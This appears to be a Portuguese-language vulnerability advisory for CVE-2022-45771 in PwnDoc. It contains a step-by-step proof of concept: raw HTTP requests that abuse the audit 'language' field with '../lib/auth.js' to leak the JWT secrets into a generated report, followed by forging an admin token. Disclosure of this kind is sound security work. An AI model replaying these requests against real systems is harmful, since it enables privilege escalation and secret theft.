CVE-2022-45771

O PwnDoc é vulnerável a path traversal e inclusão local de arquivos (LFI), o que permite que usuários sem privilégios exponham segredos JWT e obtenham execução de código.

Requisitos:

• Um atacante possui uma conta válida com papel user
• A aplicação possui um modelo de relatório com a tag finding.vulnType ou finding.category

Detalhes

A cadeia de vulnerabilidades consiste nas seguintes partes:

1. Falta de validação da propriedade AuditSchema.language nos níveis de modelo e endpoint. (Veja /backend/src/models/audit.js, linha: 71, /backend/src/routes/audit.js, linha: 57)
2. Uso da função require com o parâmetro AuditSchema.language fornecido pelo usuário durante a geração do relatório. (Veja /backend/src/translate/index.js, linha: 10, /backend/src/lib/report-generator.js, linhas: 24-25, 477, 487)
3. Parâmetros jwtSecret e jwtRefreshSecret expostos via exports de módulo no arquivo auth.js. (Veja /backend/src/lib/auth.js, linhas: 17-21)
4. Funcionalidade de upload insegura de arquivos de modelo permite o upload de arquivos js (requer permissão template:create).

[PoC] Exposição do segredo JWT leva à escalação de privilégios

1. Crie uma auditoria com ../lib/auth.js como language, posteriormente o arquivo será carregado e executado usando a função require e, como resultado, tanto jwtSecret quanto jwtRefreshSecret serão exportados.

Request:

POST /api/audits HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 73
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}


{"name":"privesc-poc","language":"../lib/auth.js","auditType":"tested"}

Response:

HTTP/1.1 201 Created
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:32 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 598
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":{"message":"Audit created successfully","audit":{"collaborators":[],"reviewers":[],"state":"EDIT","approvals":[],"_id":"637a49086f5a2e0012dd58c5","name":"privsec-poc","language":"../lib/auth.js","auditType":"tested","creator":"637a2065ab932e0012015580","sections":[],"customFields":[],"sortFindings":[{"category":"jjj","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true},{"category":"dd","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true}],"scope":[],"findings":[],"createdAt":"2022-11-20T15:34:32.246Z","updatedAt":"2022-11-20T15:34:32.246Z","__v":0}}}

2. Defina um modelo de relatório para a auditoria. Observe que o modelo deve conter a tag finding.vulnType - {vulnType} ou finding.category - {category}. Veja a documentação de modelos**

Request:

PUT /api/audits/637a49086f5a2e0012dd58c5/general HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 207
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}


{"collaborators":[],"reviewers":[],"_id":"637a49086f5a2e0012dd58c5","name":"privesc-poc","language":"../lib/auth.js","auditType":"tested","customFields":[],"template":"6377d57e5cccb10012049dbb","scope":[]}

Response:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:43 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":"Audit General updated successfully"}

3. Adicione um achado à auditoria. Observe que a propriedade category ou vulnType deve conter jwtSecret.**

Request:

POST /api/audits/637a49086f5a2e0012dd58c5/findings HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 368
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}

{"title":"dsdsd","vulnType":"prod","description":"{description}","observation":"{observation}","references":[],"cvssv3":"CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L","category":null,"customFields":[], "category":"jwtSecret", "vulnType":"jwtRefreshSecret"}

Response:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:54 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":"Audit Finding created successfully"}

4. Gere um relatório para a auditoria criada anteriormente e obtenha o valor de jwtSecret do documento docx criado.

Request:

GET /api/audits/637a49086f5a2e0012dd58c5/generate HTTP/1.1
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Language: en-GB,en;q=0.9
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Connection: keep-alive
Cookie: token=JWT%20{token}

Response:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:37:34 GMT
Content-Type: application/octet-stream
Content-Length: 98134
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
Content-Disposition: attachment; filename="rce-poc.docx"

{doc-content}

5. Altere o campo role para admin dentro do seu token JWT e assine-o usando o jwtSecret obtido.